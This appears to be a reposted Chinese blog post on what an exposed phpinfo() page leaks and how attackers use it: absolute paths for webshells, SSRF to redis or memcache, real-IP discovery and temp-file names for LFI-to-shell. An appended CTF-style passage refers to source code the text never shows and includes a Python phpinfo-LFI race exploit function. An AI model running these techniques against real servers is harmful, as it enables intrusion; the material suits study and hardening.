谈谈从phpinfo中能获取哪些值得注意的信息

本文介绍了PHPInfo()函数可能泄露的敏感信息,包括绝对路径、支持的程序、真实IP等,并探讨了这些信息如何被用于攻击。

转载  2017-03-28   作者:律师''''小窝 

PHPInfo()函数主要用于网站建设过程中测试搭建的PHP环境是否正确,很多网站在测试完毕后并没有及时删除,因此当访问这些测试页面时,会输出服务器的关键信息,这些信息的泄露将导致服务器被渗透的风险。下面就来看看详细的介绍吧。


phpinfo函数

phpinfo函数 PHP中提供了PHPInfo()函数,该函数返回 PHP 的所有信息,包括了 PHP 的编译选项及扩充配置、PHP 版本、服务器信息及环境变量、PHP 环境变量、操作系统版本信息、路径及环境变量配置、HTTP 标头、及版权宣告等信息。

其函数定义如下:

语法: int phpinfo(void);

返回值: 整数

函数种类: PHP 系统功能

例如新建一个php文件,在其中输入以下内容:

1
<?php phpinfo(); ?>

所以phpinfo()想必对大家都最熟悉的了,在搭建环境之后都会随后写一个phpinfo()来测试环境是否正常,很多人测试完毕忘记删除就开始部署环境了,这就造成了一些敏感信息的泄漏。那么我们能从phpinfo()中获得哪些敏感信息呢?

php版本这种就不用说了,来看一下泄漏了哪些比较敏感的信息。

一、绝对路径(_SERVER[“SCRIPT_FILENAME”])

这个是最常用,也是最有效的一个办法,找到phpinfo()页面可以直接找到网站的绝对路径,对于写shell和信息搜集是必不可少的。

二、支持的程序

可以通过phpinfo()查看一些特殊的程序服务,比如redis、memcache、mysql、SMTP、curl等等如果服务器装了redis或者memcache可以通过ssrf来getshell了,在discuz中都出现过此类问题。如果确定装了redis或memcache的话,在没有思路的情况下,可以着重找一下ssrf

三、泄漏真实ip(_SERVER[“SERVER_ADDR”]或SERVER_ADDR)

有时候通过phpinfo()泄漏的ip可以查查旁站、c段什么的,直接无视cdn,百事不灵。

四、GOPHER

也算是ssrf一部分吧,或者说主要靠ssrf利用起来,如果支持gopher,ssrf便没有压力咯

五、fastcgi

查看是否开启fastcgi和fastcgi的版本,可能导致解析漏洞、远程命令执行、任意文件读取等问题

六、泄漏缓存文件地址(_FILES[“file1”])

向phpinfo() post一个shell可以在_FILES[“file1”]中看到上传的临时文件,如果有个lfi,便可以直接getshell了。

七、一些敏感配置

allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等

比如allow_url_include可用来远程文件包含、disable_functions用来查看禁用函数,绕过执行、查看是否开启open_basedir,用p牛的绕过open_basedir的方法有可能能读一些没权限的目录等等。

此外还能获取一些环境信息,比如Environment中的path、log等

总结

暂时只想了这么多,欢迎留言补充,一定及时更新。以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助。
从提供的信息来看,没有直接阐述使用 `phpinfo` 函数获取 `flag` 的方法,但可以结合相关信息做一定推测。 `phpinfo` 函数用于显示 PHP 的配置信息和当前运行环境的相关信息,若要利用它获取 `flag`,可能的思路如下: 1. **寻找文件包含漏洞**:在 `index` 源码中,有 `include "flag.php";` 语句,若能利用文件包含漏洞,结合 `phpinfo` 函数获取到相关临时文件路径,可能实现读取 `flag.php` 文件内容。如 `phpInfoLFI` 函数,通过请求 `phpinfo` 获得临时文件目录,再利用文件包含漏洞访问该临时文件。若攻击者能构造合适的请求,在临时文件中包含可读取 `flag.php` 的代码,就可能获取 `flag`。 2. **利用信息泄露获取路径**:`phpinfo` 函数暴露后会泄露敏感信息,如文件路径、安装路径等。攻击者可通过访问如 `phpinfo.php`、`info.php` 等文件获取服务器上的敏感信息。若能获取到 `flag.php` 的文件路径,可尝试通过其他漏洞(如文件包含、任意文件读取等)读取 `flag.php` 的内容。 以下是 `phpInfoLFI` 函数的代码示例: ```python import socket def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] =>") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn,host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn return None ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值